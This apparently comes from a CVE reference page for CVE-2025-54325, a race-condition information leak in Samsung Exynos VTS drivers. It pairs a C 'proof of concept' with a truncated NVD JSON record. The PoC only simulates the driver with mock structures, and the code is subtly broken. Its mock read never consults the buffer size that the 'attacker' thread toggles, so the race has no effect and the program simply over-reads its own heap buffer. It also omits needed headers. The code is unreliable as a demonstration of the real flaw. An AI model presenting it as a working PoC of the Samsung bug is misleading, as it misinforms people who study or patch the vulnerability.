CVE-2025-54325

// CVE-2025-54325 PoC - VTS Driver Race Condition Information Leak // This PoC demonstrates the race condition in VTS driver #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdint.h> // Simulated VTS driver structures struct vts_session { uint32_t id; void* buffer; size_t buffer_size; uint32_t flags; }; struct vts_transfer { struct vts_session* session; void* user_buffer; size_t size; uint32_t offset; }; // Race condition vulnerability: missing proper locking int vts_transfer_read(struct vts_transfer* transfer) { // VULNERABILITY: No lock protection between buffer check and copy // Attacker can trigger concurrent access to cause OOB read if (transfer->session->buffer == NULL) { return -1; } // Time window for race condition - buffer can be modified // between check and actual read operation // Simulating the vulnerable read operation void* src = transfer->session->buffer + transfer->offset; size_t read_size = transfer->size; // OOB read occurs here if offset/size manipulation succeeds memcpy(transfer->user_buffer, src, read_size); return 0; } void* attacker_thread(void* arg) { struct vts_session* session = (struct vts_session*)arg; // Continuously try to trigger race condition while(1) { // Modify session buffer state to trigger OOB session->buffer_size = 0; // Shrink buffer usleep(1); // Minimal delay session->buffer_size = 0x1000; // Restore } return NULL; } int main() { printf("CVE-2025-54325 PoC - VTS Race Condition\n"); printf("Target: Samsung Exynos VTS Driver\n\n"); // Initialize VTS session struct vts_session session = {0}; session.buffer = malloc(0x1000); session.buffer_size = 0x1000; // Create attacker thread to trigger race condition pthread_t tid; pthread_create(&tid, NULL, attacker_thread, &session); // Victim operations struct vts_transfer transfer = {0}; transfer.session = &session; transfer.user_buffer = malloc(0x2000); transfer.offset = 0; transfer.size = 0x2000; // Larger than buffer // Trigger vulnerable read printf("Triggering VTS transfer read...\n"); vts_transfer_read(&transfer); printf("OOB read may have occurred - check leaked data\n"); pthread_join(tid, NULL); return 0; } // Note: This is a conceptual PoC for demonstration purposes. // Actual exploitation requires device-specific knowledge and access.

{"cve": {"id": "CVE-2025-54325", "sourceIdentifier": "[email protected]", "published": "2025-11-04T18:16:45.273", "lastModified": "2025-11-07T12:56:43.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in VTS in Samsung Mobile Processor and Wearable Processor Exynos 1080, 1280, 2200, 1380, 1480, 2400, 1580, 2500, W920, W930, W1000. A race condition in the VTS driver results in an out-of-bounds read, leading to an information leak."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43DE4D6F-D662-46F2-93BC-9AE950320BDE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE06CD56-8BFD-4208-843A-179E3E6F5C10"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1280_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD1A7B09-9031-4E54-A24F-3237C054166B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1280:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFC68046-2F08-40D1-B158-89D8D9263541"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "64897B0D-EBF6-4BEB-BF54-ABCDBFAB45E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1480:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3F328B4-0442-4748-B5EE-DD1CEE50D6CF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3594664-3CE6-4827-ABD4-B5719817F5D5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1580:-:*:*:*:*:*:*:*", "matchCriteriaId": "93C1F9E8-DA04-4466-AF66-01560A07BD98"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2200_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "63C0D9AC-BD23-48C9-83E7-301DEC06E583"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2200:-:*:*:*:*:*:*:*", "matchCriteriaId": "A72ADEBB-ED72-4A5B-BB27-95EDE43F8116"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2400_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "16D9272E-1794-48FF-B6A4-8F48395BA38E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2400:-:*:*:*:*:*:*:*", "matchCriteriaId": "932F5FB3-5527-44D7-9DD9-EF03963E3CA3"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2500_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "121D726F-2925-48FE-9CE4-3686B0802DA8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BA3794C2-9E77-4139-B188-26BDEA39DE21"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_w1000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "526A0088-BDA7-4373-8966-AEED69C1AE8A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_w1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "A9657C28-AA6B-4C1 ... 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